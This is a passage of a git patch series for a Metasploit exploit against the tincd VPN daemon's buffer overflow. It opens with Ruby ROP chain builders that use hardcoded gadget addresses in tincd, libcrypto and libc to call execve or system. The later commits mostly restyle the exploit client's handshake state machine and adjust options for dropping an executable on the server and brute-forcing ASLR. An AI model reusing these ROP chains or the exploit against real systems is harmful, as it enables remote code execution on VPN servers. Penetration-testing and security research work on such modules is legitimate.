else + rop += argument_part + rand_text_alpha(4 - argument_part.length) + end + # Write the 4 bytes to the writable location + rop += mov_to_r4_addr_pop_r4_ret + end + + # put the address of the payload into r4 + rop += [loc_dot_data].pack('V') + + # now move r4 to r0 + rop += mov_r0_r4_pop_r4_ret + rop += rand_text_alpha(4) + # we don't care what ends up in r4 now + + # call system + rop += system_addr + end + + def create_fedora_rop(sys_execv_args) + # Gadgets tincd + loc_dot_data = 0x80692e0 # a location inside .data + pop_eax = [0x8065969].pack('V') # pop eax; ret + pop_ebx = [0x8049d8d].pack('V') # pop ebx; ret + pop_ecx = [0x804e113].pack('V') # pop ecx; ret + xor_eax_eax = [0x804cd60].pack('V') # xor eax eax; ret + # This one destroys ebx: + mov_to_eax_addr = [0x805f2c2].pack('V') + rand_text_alpha(4) # mov [eax] ecx ; pop ebx ; ret + # + + # Gadgets libcrypto.so.10 libcrypto.so.1.0.1e + xchg_ecx_eax = [0x4d170d1f].pack('V') # xchg ecx,eax; ret + # xchg_edx_eax = [0x4d25afa3].pack('V') # xchg edx,eax ; ret + # inc_eax = [0x4d119ebc].pack('V') # inc eax ; ret + + # Gadgets libc.so.6 libc-2.17.so + pop_edx = [0x4b5d7aaa].pack('V') # pop edx; ret + int_80 = [0x4b6049c5].pack('V') # int 0x80 + + # Linux kernel system call 11: sys_execve + # ROP + rop = '' + + index = 0 + stored_argument_pointer_offsets = [] + + sys_execv_args.each_with_index do |argument, argument_no| + stored_argument_pointer_offsets << index + argument.scan(/.{1,4}/).each_with_index do |argument_part, i| + # Put location to write to in eax + rop += pop_eax + # Give location inside .data via stack + rop += [loc_dot_data + index + i * 4].pack('V') + # Pop 4 bytes of the command into ecx + rop += pop_ecx + # Give 4 bytes of command on stack + if argument_part.length == 4 + rop += argument_part + else + rop += argument_part + rand_text_alpha(4 - argument_part.length) + end + # Write the 4 bytes to the writable location + rop += mov_to_eax_addr + end + # We have to end the argument with a zero byte + index += argument.length + # We don't have "xor ecx, ecx", but we have it for eax... + rop += xor_eax_eax + rop += xchg_ecx_eax + # Put location to write to in eax + rop += pop_eax + # Give location inside .data via stack + rop += [loc_dot_data + index].pack('V') + # Write the zeros + rop += mov_to_eax_addr + index += 1 # where we can write the next argument + end + + # Append address of the start of each argument + stored_argument_pointer_offsets.each do |offset| + rop += pop_eax + rop += [loc_dot_data + index].pack('V') + rop += pop_ecx + rop += [loc_dot_data + offset].pack('V') + rop += mov_to_eax_addr + index += 4 + end + # end with zero + rop += xor_eax_eax + rop += xchg_ecx_eax + + rop += pop_eax + rop += [loc_dot_data + index].pack('V') + rop += mov_to_eax_addr + + rop += pop_ebx + rop += [loc_dot_data].pack('V') + + rop += pop_ecx + rop += [loc_dot_data + sys_execv_args.join(' ').length + 1].pack('V') + + rop += pop_edx + rop += [loc_dot_data + index].pack('V') + + # sys call 11 = sys_execve + rop += pop_eax + rop += [0x0000000b].pack('V') + + rop += int_80 + end +end From 3c1ce5072cd835c7d4714c1e57e0b49f0438a9d4 Mon Sep 17 00:00:00 2001 From: floyd Date: Mon, 17 Nov 2014 16:37:04 +0100 Subject: [PATCH 2/4] Replaced camel case states with snail_case --- lib/msf/core/exploit/tincd.rb | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/exploit/tincd.rb b/lib/msf/core/exploit/tincd.rb index 19cb34ba2f..3bc45eb111 100644 --- a/lib/msf/core/exploit/tincd.rb +++ b/lib/msf/core/exploit/tincd.rb @@ -44,7 +44,7 @@ module Exploit::Remote::TincdExploitClient # Setting up variables and calling cipher inits with file paths from configuration # def setup_ciphers - @state = :idState + @state = :id_state @buffer = '' @inbuffer = '' @encryption_queue = [] @@ -73,12 +73,12 @@ module Exploit::Remote::TincdExploitClient begin # send the first message id - # Condition to get out of the while loop: ackState to false. Unsafe? Maybe a timeout? + # Condition to get out of the while loop: ack_state to false. Unsafe? Maybe a timeout? while @keep_reading_socket process_data(sock.get_once) end rescue Errno::ECONNRESET - if @state == :metakeyState + if @state == :metakey_state fail 'Server reset the connection. Probably rejecting '\ 'the private key and/or client name (e.g. client name not associated '\ 'with client public key on server side). '\ @@ -138,15 +138,15 @@ module Exploit::Remote::TincdExploitClient @inbuffer += data end case @state - when :idState + when :id_state if line? data = read_line vprint_status("Received ID from server: [#{data[0..30]}]") - @state = :metakeyState + @state = :metakey_state # next expected state metakey end - when :metakeyState + when :metakey_state if line? data = read_line vprint_status("Received Metakey from server: [#{data[0..30]}...]") @@ -174,10 +174,10 @@ module Exploit::Remote::TincdExploitClient # don't forget, it *does* matter if you do a # @bf_dec_cipher.reset or not, we're in OFB mode. DON'T. vprint_status('Metakey handshake/exchange completed') - @state = :challengeState + @state = :challenge_state challenge end - when :challengeState + when :challenge_state need_len = 2 * @client_key_len + 3 if @inbuffer.length >= need_len data = pop_inbuffer_and_decrypt(need_len) @@ -188,25 +188,25 @@ module Exploit::Remote::TincdExploitClient challenge2 = data[1][0...2 * @client_key_len] challenge2 = [challenge2].pack('H*') fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len - @state = :challengeReplyState + @state = :challenge_reply_state challenge_reply(challenge2) end - when :challengeReplyState + when :challenge_reply_state need_len = 43 if @inbuffer.length >= need_len data = pop_inbuffer_and_decrypt(need_len) vprint_status("Received challenge reply from server:"\ " [#{data.unpack('H*')[0][0..30]}...]") - @state = :ackState + @state = :ack_state ack end - when :ackState + when :ack_state need_len = 12 if @inbuffer.length >= need_len data = pop_inbuffer_and_decrypt(need_len) vprint_status("Received ack (server accepted challenge response):"\ "[#{data.unpack('H*')[0][0..30]}...]") - @state = :doneState + @state = :done_state send_packet end end From 91aa5fa3cfd25b5f1f70a902b092c6ca4b60a0d2 Mon Sep 17 00:00:00 2001 From: floyd Date: Mon, 17 Nov 2014 16:48:52 +0100 Subject: [PATCH 3/4] Some simple ruby convention changes that hopefully make ruby people happy --- lib/msf/core/exploit/tincd.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/tincd.rb b/lib/msf/core/exploit/tincd.rb index 3bc45eb111..c0ce2153f4 100644 --- a/lib/msf/core/exploit/tincd.rb +++ b/lib/msf/core/exploit/tincd.rb @@ -134,9 +134,7 @@ module Exploit::Remote::TincdExploitClient # from the server, this method will decide which message has to be sent next # def process_data(data) - unless data.nil? - @inbuffer += data - end + @inbuffer += data if data case @state when :id_state if line? @@ -262,7 +260,7 @@ module Exploit::Remote::TincdExploitClient idx = @inbuffer.index("\n") data = @inbuffer.slice!(0, idx) @inbuffer.lstrip! - return data + data end # @@ -270,7 +268,7 @@ module Exploit::Remote::TincdExploitClient # entire message for the next protocol step # def line? - !@inbuffer.match("\n").nil? + !!(@inbuffer.match("\n")) end # From 9243cfdbb7fb3f57922727751810c6ad895a6494 Mon Sep 17 00:00:00 2001 From: floyd Date: Mon, 17 Nov 2014 17:12:17 +0100 Subject: [PATCH 4/4] Minor fixes to ruby style things --- lib/msf/core/exploit/tincd.rb | 40 ++++++++++++------------- modules/exploits/multi/vpn/tincd_bof.rb | 2 +- 2 files changed, 21 insertions(+), 21 deletions(-) diff --git a/lib/msf/core/exploit/tincd.rb b/lib/msf/core/exploit/tincd.rb index c0ce2153f4..477c848962 100644 --- a/lib/msf/core/exploit/tincd.rb +++ b/lib/msf/core/exploit/tincd.rb @@ -79,12 +79,12 @@ module Exploit::Remote::TincdExploitClient end rescue Errno::ECONNRESET if @state == :metakey_state - fail 'Server reset the connection. Probably rejecting '\ - 'the private key and/or client name (e.g. client name not associated '\ - 'with client public key on server side). '\ - 'Wrong server public key possible too. '\ - 'Please recheck client name, client private key and '\ - 'server public key.' + fail 'Server reset the connection. Probably rejecting ' + + 'the private key and/or client name (e.g. client name not associated ' + + 'with client public key on server side). ' + + 'Wrong server public key possible too. ' + + 'Please recheck client name, client private key and ' + + 'server public key.' else fail 'Server reset the connection, reason unknown.' end @@ -149,7 +149,7 @@ module Exploit::Remote::TincdExploitClient data = read_line vprint_status("Received Metakey from server: [#{data[0..30]}...]") data = data.split(' ') - fail 'Error in protocol. The first byte should be an ASCII 1.' unless data[0] == '1' + fail 'Error in protocol. The first byte should be an ASCII 1.' unless data.first == '1' hexkey_s2 = data[5].rstrip # ("\n") fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2 @enckey_s2 = [hexkey_s2].pack('H*') @@ -179,10 +179,10 @@ module Exploit::Remote::TincdExploitClient need_len = 2 * @client_key_len + 3 if @inbuffer.length >= need_len data = pop_inbuffer_and_decrypt(need_len) - vprint_status("Received challenge from server: "\ - "[#{data.unpack('H*')[0][0..30]}...]") + vprint_status("Received challenge from server: " + + "[#{data.unpack('H*')[0][0..30]}...]") data = data.split(' ', 2) - fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data[0] == '2' + fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data.first == '2' challenge2 = data[1][0...2 * @client_key_len] challenge2 = [challenge2].pack('H*') fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len @@ -193,8 +193,8 @@ module Exploit::Remote::TincdExploitClient need_len = 43 if @inbuffer.length >= need_len data = pop_inbuffer_and_decrypt(need_len) - vprint_status("Received challenge reply from server:"\ - " [#{data.unpack('H*')[0][0..30]}...]") + vprint_status("Received challenge reply from server:" + + " [#{data.unpack('H*')[0][0..30]}...]") @state = :ack_state ack end @@ -202,8 +202,8 @@ module Exploit::Remote::TincdExploitClient need_len = 12 if @inbuffer.length >= need_len data = pop_inbuffer_and_decrypt(need_len) - vprint_status("Received ack (server accepted challenge response):"\ - "[#{data.unpack('H*')[0][0..30]}...]") + vprint_status("Received ack (server accepted challenge response):" + + "[#{data.unpack('H*')[0][0..30]}...]") @state = :done_state send_packet end @@ -216,7 +216,7 @@ module Exploit::Remote::TincdExploitClient # def handle_write # handle encryption queue first - if @encryption_queue.length > 0 + unless @encryption_queue.empty? msg = @encryption_queue[0] @encryption_queue.delete_at(0) @buffer = @bf_enc_cipher.update(msg) @@ -225,10 +225,10 @@ module Exploit::Remote::TincdExploitClient # the resulting block is used to encrypt the next block. end - if @buffer.length > 0 + unless @buffer.empty? sent = send_data(@buffer) - vprint_status("Sent #{sent} bytes: "\ - "[#{@buffer.unpack('H*')[0][0..30]}...]") + vprint_status("Sent #{sent} bytes: " + + "[#{@buffer.unpack('H*')[0][0..30]}...]") @buffer = @buffer[sent..@buffer.length] end end @@ -318,8 +318,8 @@ module Exploit::Remote::TincdExploitClient # Ack state to signalise challenge/response was successfull # def ack - vprint_status('Sending ack (signalise server that we accept challenge'\ - 'reply, ciphertext)') + vprint_status('Sending ack (signalise server that we accept challenge' + + 'reply, ciphertext)') @encryption_queue.push("4 #{datastore['RPORT']} 123 0 \n") handle_write end diff --git a/modules/exploits/multi/vpn/tincd_bof.rb b/modules/exploits/multi/vpn/tincd_bof.rb index 6926875582..f0881bcd90 100644 --- a/modules/exploits/multi/vpn/tincd_bof.rb +++ b/modules/exploits/multi/vpn/tincd_bof.rb @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote # Has to be short, usually either . or /tmp works # /tmp could be mounted as noexec # . is usually only working if tincd is running as root - OptString.new('BINARY_DROP_LOCATION', [false, 'Location to drop executable on server, usually /tmp or .', '/tmp']), + OptString.new('BINARY_DROP_LOCATION', [false, 'Short location to drop executable on server, usually /tmp or .', '/tmp']), OptInt.new('BRUTEFORCE_TRIES', [false, 'How many brute force tries (ASLR brute force)', 200]), OptInt.new('WAIT', [false, 'Waiting time for server daemon restart (ASLR brute force)', 3]) ], self